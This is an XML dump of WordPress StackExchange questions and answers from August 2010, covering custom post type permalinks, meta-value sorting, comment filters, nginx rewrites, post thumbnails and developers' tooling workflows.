  <row Id="606" PostTypeId="2" ParentId="536" CreationDate="2010-08-19T20:30:43.140" Score="1" ViewCount="" Body="&lt;p&gt;There is a way, I have done it before but it was on WPMU 2.X - not sure if they made it tougher to remove in 3, I can't imagine why they would have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a plugin to remove the /blog part - &lt;a href=&quot;http://buddydev.com/http//buddydev.com/public-download/cc-remove-blog-slug-v-1.1.zip&quot; rel=&quot;nofollow&quot;&gt;http://buddydev.com/http//buddydev.com/public-download/cc-remove-blog-slug-v-1.1.zip&lt;/a&gt; - as for writing the actual /blog/ permalink to the site, wp will filter that, the easies way is create the &quot;blog&quot; subsite with a wierd enough url that it is quickly found in phpMyAdmin (set the path to &quot;yoursite.com/wtfisgoingonhere&quot;) then log intop phpmyadmin search for it, and replace all instances with /blog/ - be very careful not to remove or add an extra slash anywhere. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2010-08-19T20:30:43.140" />
  <row Id="607" PostTypeId="2" ParentId="596" CreationDate="2010-08-19T20:33:11.247" Score="2" ViewCount="" Body="&lt;p&gt;Hia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically no. But, you can order by meta_value in WP_Query, so you can sort. I am not sure what format you are storing the dates as, but it will need to be something that MySQL can order by, a simple Unix timestamp would be fine, you would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( 'post_type=seminar&amp;amp;meta_key=start_time&amp;amp;meta_value=' . time() .  '&amp;amp;meta_compare=&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would get all the seminars with a start date after &quot;now&quot;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-19T20:33:11.247" />
  <row Id="608" PostTypeId="2" ParentId="596" CreationDate="2010-08-19T20:47:13.210" Score="1" ViewCount="" Body="&lt;p&gt;The custom field value is stored as is - and I think you can use Joe's answer to get the posts, however to &quot;sort&quot; using start time you might need to use something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$posts = query_posts($query_string. '&amp;amp;orderby=meta_value&amp;amp;meta_key=start_time&amp;amp;order=DESC' ); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a plug-in called more fields, that I think will let you do this without writing code. You can add a new input box only to your custom post type, then select date under advanced options.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2010-08-19T20:47:13.210" CommentCount="2" />
  <row Id="609" PostTypeId="1" AcceptedAnswerId="612" CreationDate="2010-08-19T20:58:05.087" Score="0" ViewCount="625" Body="&lt;p&gt;I'm registering a Custom Post Type and in the rewrite array I am trying to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; &quot;explore/resources/&quot;.$CATEGORY, 'with_front' =&amp;gt; false)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want the rule to 'dynamically' get the post's category name somehow. I also tried using &lt;code&gt;%category%&lt;/code&gt; there but it doesn't work either. I need the post's url to represent the entire path/route to it. Any ideas on how to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Here is more clarification:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type of '&lt;code&gt;resources&lt;/code&gt;' and these post have several different categories like '&lt;code&gt;forms&lt;/code&gt;', '&lt;code&gt;mp3&lt;/code&gt;' etc. now this Resources area in the site is under another section (that is a page with custom loop for those custom posts) which is called Explore. What I want to achieve is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;domain.com/Explore/Resources/Resource-Category/Resource-Name &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;domian.com/explore/resources/forms/production-form-1 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My current rewrite rule in &lt;code&gt;register_post_type()&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; &quot;explore/resources&quot;, 'with_front' =&amp;gt; false)&lt;/code&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T23:15:35.057" LastActivityDate="2010-08-19T23:15:35.057" Title="Writing Custom Rewrite Rules that Incorporate Category for Custom Post Types?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="611" PostTypeId="1" CreationDate="2010-08-19T21:26:03.303" Score="0" ViewCount="110" Body="&lt;p&gt;I wrote a plugin that modifies the contents of some comments. It uses the pre_comment_content filter. It seems to work OK using the standard WP moderation, however, it doesn't when I turn on the IntenseDebate Enhanced Moderation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_plugin($orig_comment){&#xA;&#xA;  $orig_comment = some_func($orig_comment);&#xA;&#xA; return $orig_comment;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Basically the plugin just applies some formatting, let's say lowercase all letters. In the first case it works perfectly, when using IntenseDebate it seems as if my function never gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any workarounds for this?&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditorDisplayName="" LastEditDate="2010-08-20T01:57:38.687" LastActivityDate="2010-09-19T09:52:58.630" Title="pre_comment_content filter not working using IntenseDebate Enhanced moderation" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="612" PostTypeId="2" ParentId="609" CreationDate="2010-08-19T21:49:25.880" Score="1" ViewCount="" Body="&lt;p&gt;You could use my plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will only work if it's a non-hierarchical post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's hierarchical, you're going to have to register the permastruct yourself. This is a huge ordeal which I don't have the time to write out at the moment. You can look at the code in my plugin above and try to work it out for yourself. Some pointers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In order to get the category into the URL, you're going to have to hook into the &lt;code&gt;'post_type_link'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You'll also have to hook into &lt;code&gt;'parse_request'&lt;/code&gt; to make sure the post type is recognized.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-19T21:49:25.880" CommentCount="11" />
  <row Id="613" PostTypeId="2" ParentId="589" CreationDate="2010-08-19T21:50:24.867" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.flamescorpion.com/2010/04/how-to-make-your-wordpress-more-website-friendly-with-genesis/&quot; rel=&quot;nofollow&quot;&gt;Genesis&lt;/a&gt; and it was just updated to work with 3.0. It is a framework and you can build child themes on. &lt;/p&gt;&#xA;" LastActivityDate="2010-08-19T21:50:24.867" />
  <row Id="614" PostTypeId="2" ParentId="547" CreationDate="2010-08-19T21:55:30.167" Score="0" ViewCount="" Body="&lt;p&gt;I usually don't install too many plugins for wordpress, instead i try to use theme frameworks that do the main work. It is true that every plugin will add up to resource consumption. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every plugin  will do something, they have to initialise, so they will run some code when a page for your website is requested, not to mention that so many links on admin wordpress panel that makes it harder to load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you won't notice it on a shared hosting with 2-3k page views a day, but if you have a website with 3k active users that each of them request 10 pages every day it might become a problem.&lt;/p&gt;&#xA;" LastActivityDate="2010-08-19T21:55:30.167" />
  <row Id="615" PostTypeId="2" ParentId="594" CreationDate="2010-08-19T22:55:28.553" Score="0" ViewCount="" Body="&lt;p&gt;To answer your question a bit sideways, are you open to an alternative?  I suggest adding a photo to a post, filing the post under a specific category for your images, and maybe, depending on your needs, adding a text-only custom field to retrieve that specific image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = get_posts('cat=the_category&amp;amp;meta_key=the_key&amp;amp;meta_value=the_value');&#xA;foreach($image as $img){&#xA;    setup_postdata($img);&#xA;    //whatever your markup is...&#xA;    echo '&amp;lt;p&amp;gt;'.the_content().'&amp;lt;/p&amp;gt;';&#xA;    //or&#xA;   echo '&amp;lt;p&amp;gt;'.$img-&amp;gt;post_content.'&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just a thought...&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-19T22:55:28.553" CommentCount="2" />
  <row Id="617" PostTypeId="1" CreationDate="2010-08-20T01:24:16.800" Score="16" ViewCount="890" Body="&lt;p&gt;I'm interested in how other people develop themes and plugins for WordPress. To me, the in-browser editor in the admin panel just doesn't cut it. Currently, I'm just using an IDE with a PHP plugin (NetBeans), pulling down my development web directory from my server, editing in there, pushing up to test, and then migrating over to live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for how other people use their tools of choice to manage workflows for developing, testing, and deploying themes, plugins, and testing the latest versions of WordPress against these before going live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made this a community wiki so that other people can share there development process. I'm not expecting to find a singular right answer here - your process is your own, and I wouldn't expect what you do to just work for myself or anyone else. I'm just interested in improving my ability to develop plugins and themes by seeing what works or doesn't work for other people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question here discusses specific &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-plugin-development&quot;&gt;software tools to support WordPress development&lt;/a&gt;. Here, I'm looking for more process and methodology that can be applied independently of tools, with the exception of certain tasks that might only be accomplished in a certain family of tools.&lt;/p&gt;&#xA;" OwnerUserId="211" LastEditorUserId="211" LastEditorDisplayName="" LastEditDate="2010-08-20T19:54:27.170" LastActivityDate="2011-07-08T04:44:06.100" CommunityOwnedDate="2010-08-20T01:24:16.800" Title="What process do you use for WordPress development?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="8" CommentCount="2" FavoriteCount="19" />
  <row Id="618" PostTypeId="2" ParentId="617" CreationDate="2010-08-20T01:53:21.117" Score="4" ViewCount="" Body="&lt;p&gt;This is a workflow answer, not specific to an IDE or plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution that works really well for plugin development is to start with a local apache web server with each wordpress variation installed in a sub-folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a separate location outside of the local server root, store your wordpress plugin/theme working copies. Create a symlink to the appropriate trunk/tag/branch in the /wp-content/plugins folder of each wordpress variation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When editing the plugin in your IDE the changes you make, will obviously be represented in each wordpress install, so it becomes easy to test multiple variations of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you can have a browser tab open for each local wordpress variation and test each one whilst working on a single project and a single file base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an IDE that supports SVN &amp;amp; FTP all you need to do is edit your working copy and commit your changes back to the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an IDE Coda does it for me, but I like NetBeans and Eclipse as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are happy that your plugin works and you've committed those changes to your repository, you can then open your wordpress project and publish the changed plugin directly to your live site. &lt;/p&gt;&#xA;" LastActivityDate="2010-08-20T01:53:21.117" CommunityOwnedDate="2010-08-20T01:53:21.117" />
  <row Id="619" PostTypeId="2" ParentId="564" CreationDate="2010-08-20T01:58:49.027" Score="0" ViewCount="" Body="&lt;p&gt;I'm not 100% sure, but I believe the &lt;code&gt;content_save_pre&lt;/code&gt; filter runs for posts created via XML-RPC (not just the admin area). You can use this filter to strip out all of Word's excess HTML (using kses for example).&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-20T01:58:49.027" CommentCount="1" />
  <row Id="620" PostTypeId="2" ParentId="617" CreationDate="2010-08-20T02:23:09.483" Score="3" ViewCount="" Body="&lt;p&gt;I have a relatively uncomplicated setup that has evolved since starting my present day job ~2.5 years ago.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Developing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I do all my development over SSH, using &lt;a href=&quot;http://www.vim.org/&quot; rel=&quot;nofollow&quot;&gt;Vim&lt;/a&gt; inside &lt;a href=&quot;http://www.gnu.org/software/screen/&quot; rel=&quot;nofollow&quot;&gt;GNU screen&lt;/a&gt;. Vim plugins include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mattn.github.com/zencoding-vim/&quot; rel=&quot;nofollow&quot;&gt;zencoding-vim&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/ns9tks/vim-fuzzyfinder/&quot; rel=&quot;nofollow&quot;&gt;FuzzyFinder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Vertical splits and &lt;code&gt;:set hidden&lt;/code&gt; are essential. I also prefer a 256 color terminal (&lt;a href=&quot;http://iterm.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;iTerm&lt;/a&gt; on Mac OS X) with the &lt;a href=&quot;http://www.vim.org/scripts/script.php?script_id=2175&quot; rel=&quot;nofollow&quot;&gt;railscasts&lt;/a&gt; color scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've also been slowly modifying &lt;a href=&quot;http://dbug.ospinto.com/&quot; rel=&quot;nofollow&quot;&gt;dBug&lt;/a&gt; to suit our needs. Nice replacement for &lt;code&gt;print_r()&lt;/code&gt; and &lt;code&gt;var_dump()&lt;/code&gt; when you know the variable is an array or object.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Deploying&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At present I don't work on many public plugins/themes, so I don't test plugin compatibility with multiple versions of WordPress. I code on the dev server and move that code into production via Subversion.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-20T02:23:09.483" CommunityOwnedDate="2010-08-20T02:23:09.483" CommentCount="1" />
  <row Id="621" PostTypeId="2" ParentId="617" CreationDate="2010-08-20T02:58:10.990" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Thomas Owens&lt;/strong&gt; This question somewhat overlaps and duplicates the question &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-plugin-development&quot;&gt;&lt;strong&gt;Software for WordPress theme/plugin development?&lt;/strong&gt;&lt;/a&gt;.&quot;  Not sure if we should close but is seems a slightly different focus. So...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Mac OS X&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-plugin-development/388#388&quot;&gt;&lt;strong&gt;my essential toolset right now for Max OS X&lt;/strong&gt;&lt;/a&gt; (always looking for better.) Note i tried NetBeans and gave up on it. Too sluggish and too few features.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt;+&lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;XDEBUG&lt;/a&gt; - Debugging IDE (Nothing better on the MAC)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://clickontyler.com/virtualhostx/&quot; rel=&quot;nofollow&quot;&gt;VirtualHostX&lt;/a&gt; - Manages Apache Virtual Hosts Locally (I &lt;em&gt;LOVE&lt;/em&gt; this)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;FileZilla&lt;/a&gt; - FTP Client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firefox Firebug&lt;/a&gt; - jQuery Debugging&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.navicat.com/en/products/navicat_mysql/mysql_overview.html&quot; rel=&quot;nofollow&quot;&gt;Navicat for MySQL&lt;/a&gt; - Commercial MySQL client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unfuddle.com/&quot; rel=&quot;nofollow&quot;&gt;Unfuddle.com&lt;/a&gt; - SVN Repository and Task Management for client projects&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tuffcode.com/&quot; rel=&quot;nofollow&quot;&gt;HTTP Scoop&lt;/a&gt; - Reasonable HTTP debugger&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fraiseapp.com/&quot; rel=&quot;nofollow&quot;&gt;Fraise&lt;/a&gt; - Lightweight Text Editor (Fork of &lt;a href=&quot;http://www.tuffcode.com/&quot; rel=&quot;nofollow&quot;&gt;Smultron&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Windows Vista&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;When I was &lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-plugin-development/388#388&quot;&gt;&lt;strong&gt;on Windows Vista my essential toolset&lt;/strong&gt;&lt;/a&gt; was:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-plugin-development&quot;&gt;FileZilla&lt;/a&gt; - FTP Client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/324/software-for-wordpress-theme-plugin-development/388#388&quot;&gt;Firefox Firebug&lt;/a&gt; - jQuery Debugging&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;Navicat for MySQL&lt;/a&gt; - Commercial MySQL client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;Unfuddle.com&lt;/a&gt; - SVN Repository and Task Management for client projects&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nusphere.com/products/&quot; rel=&quot;nofollow&quot;&gt;PhpED&lt;/a&gt; - Debugging IDE (Nothing better on Windows, 'cept maybe &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/how-can-i-easily-move-wp-from-development-to-production/182#182&quot;&gt;PhpStorm&lt;/a&gt;+[XDEBUG][24])&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.heidisql.com/&quot; rel=&quot;nofollow&quot;&gt;HeidiSQL&lt;/a&gt; - Great open-source MySQL client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flos-freeware.ch/notepad2.html&quot; rel=&quot;nofollow&quot;&gt;Notepad2&lt;/a&gt; - Great lightweight and usable Notepad alternative &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tortoisesvn.net/&quot; rel=&quot;nofollow&quot;&gt;TortoiseSVN&lt;/a&gt; - SVN Client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fiddler2.com/fiddler2/&quot; rel=&quot;nofollow&quot;&gt;Fiddler 2&lt;/a&gt; - Unbeatable HTTP debugger&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Code Deployment/Data Migration to Switch Domains&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is exactly what you are looking for but I development a plugin to ease migrations between local dev server, test server and deployment server. I wrote about it here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/how-can-i-easily-move-wp-from-development-to-production/182#182&quot;&gt;How can I easily move WP from development to production?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-08-20T09:52:14.377" LastActivityDate="2010-08-20T09:52:14.377" CommunityOwnedDate="2010-08-20T02:58:10.990" />
  <row Id="622" PostTypeId="2" ParentId="617" CreationDate="2010-08-20T03:06:37.587" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;WordPress Theme Development Process&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert Mock Flow wire frame into basic XHTML and CSS&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plug XHTML into master.php template file and convert to Template tags and WP functions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Divide master.php into the various&#xA;template files ie: header.php,&#xA;index.php, sidebar.php, and&#xA;footer.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write any custom queries and&#xA;functions that might be needed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plug in CSS layout and add  &lt;code&gt;div&#xA;{outline:1px solid red;}&lt;/code&gt; to help&#xA;tweak the layout4.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Upload Theme folder to WordPress for&#xA;testing and further development&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WordPress Development Tools&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Aptana Studio WorkPlace code editor&#xA;with built in FTP&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Putty&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;dual 1920 x 1200 monitors with browser open on one and code editor on the other&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wacom Intuis 4 tablet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Firebug with Yslow and Google Page speed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-20T03:06:37.587" CommunityOwnedDate="2010-08-20T03:06:37.587" />
  <row Id="623" PostTypeId="2" ParentId="183" CreationDate="2010-08-20T03:14:30.500" Score="2" ViewCount="" Body="&lt;p&gt;Check the referring URL and the user agent.  Usually these are caused by robots that found a link to the draft or happened to be scanning your site while you were previewing the posts.  I wouldn't worry about it unless it was an actual user that was getting the error.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-20T03:14:30.500" CommentCount="1" />
  <row Id="624" PostTypeId="2" ParentId="301" CreationDate="2010-08-20T04:32:54.850" Score="0" ViewCount="" Body="&lt;p&gt;When WordPress detects that mod_rewrite is not loaded it falls back to pathinfo ie:(/index.php/%postname%/) permalinks in Permalink Settings page. You can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-compatibility/&quot; rel=&quot;nofollow&quot;&gt;nginx Compatibility&lt;/a&gt;plugin to force WordPress to use pretty permalinks then add rewrite rules to your nginx server file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server { server_name mysite.com;&#xA;&#xA;root /path/to/blog;&#xA;&#xA;index index.php;&#xA;&#xA;location / {&#xA;    try_files $uri $uri/ @wordpress;&#xA;}&#xA;&#xA;location @wordpress {&#xA;    fastcgi_pass ...;&#xA;    fastcgi_param SCRIPT_FILENAME $document_root/index.php;&#xA;    include /etc/nginx/fastcgi_params;&#xA;    fastcgi_param SCRIPT_NAME /index.php;&#xA;}&#xA;&#xA;location ~ \.php$ {&#xA;    try_files $uri @wordpress;&#xA;    fastcgi_index index.php;&#xA;    fastcgi_pass ...;&#xA;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;    include /etc/nginx/fastcgi_params;&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-20T04:32:54.850" />
  <row Id="625" PostTypeId="2" ParentId="373" CreationDate="2010-08-20T06:58:52.160" Score="0" ViewCount="" Body="&lt;p&gt;Please take a look at &lt;a href=&quot;http://wordpress.org/about/books/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/about/books/&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2010-08-20T06:58:52.160" />
  <row Id="626" PostTypeId="2" ParentId="594" CreationDate="2010-08-20T08:15:18.670" Score="1" ViewCount="" Body="&lt;p&gt;This to me sounds like the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support&quot; rel=&quot;nofollow&quot;&gt;post_thumbnail feature&lt;/a&gt; in WordPress. It will add a box on the right hand side, below the tag box. By default the box displays a link &quot;Set featured image&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click on it the media gallery popup opens and you can pick a picture you have previously uploaded to the post as the featured picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_post_thumbnail()) {&#xA;  the_post_thumbnail();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in you theme to display the featured picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable post_thumbnail you just need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your theme's function.php&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2010-08-20T08:15:18.670" CommentCount="0" />
  <row Id="627" PostTypeId="2" ParentId="611" CreationDate="2010-08-20T09:31:07.737" Score="1" ViewCount="" Body="&lt;p&gt;You write &quot;it seems as if my function never gets called&quot;. I would at first verify if that's the case or not, e.g. by testing wether or not that is the case (print statements, debugger).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your hook really is not called any longer than some other plugin might remove your hook. If thats the case, the code that removes the hook must be reverse engineered to create a counter-strategy against that plugins behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be the case that your hook is removed by error by the other plugin. If that's the case, please fill a bugreport to the other plugin and/or Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plugin still is called but your output is ignored, it might help to change the priority you hook is using. Additionally sometime an alternative hook is available which still does the job regardless of interference by other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know my answer is not very concrete but you did not provide much factual infos to build something on. So this is just for a starter.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-20T09:31:07.737" />
  <row Id="628" PostTypeId="1" AcceptedAnswerId="629" CreationDate="2010-08-20T09:41:24.493" Score="0" ViewCount="170" Body="&lt;p&gt;I need to access a list of all categories for a plugin I'm working on, I know that there is the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_categories&lt;/code&gt;&lt;/a&gt; template tag for use in themes. What would be the best way of accessing these categories for use in a plugin? Is there a specific function or is it a case of writing a specific query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Here's a screenshot which shows the context of how I'm trying to display a list of categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/3vXNs.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-21T01:15:53.213" LastActivityDate="2010-08-21T01:15:53.213" Title="Getting a List of Categories for Use in a Plugin?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;categories&gt;" AnswerCount="1" />
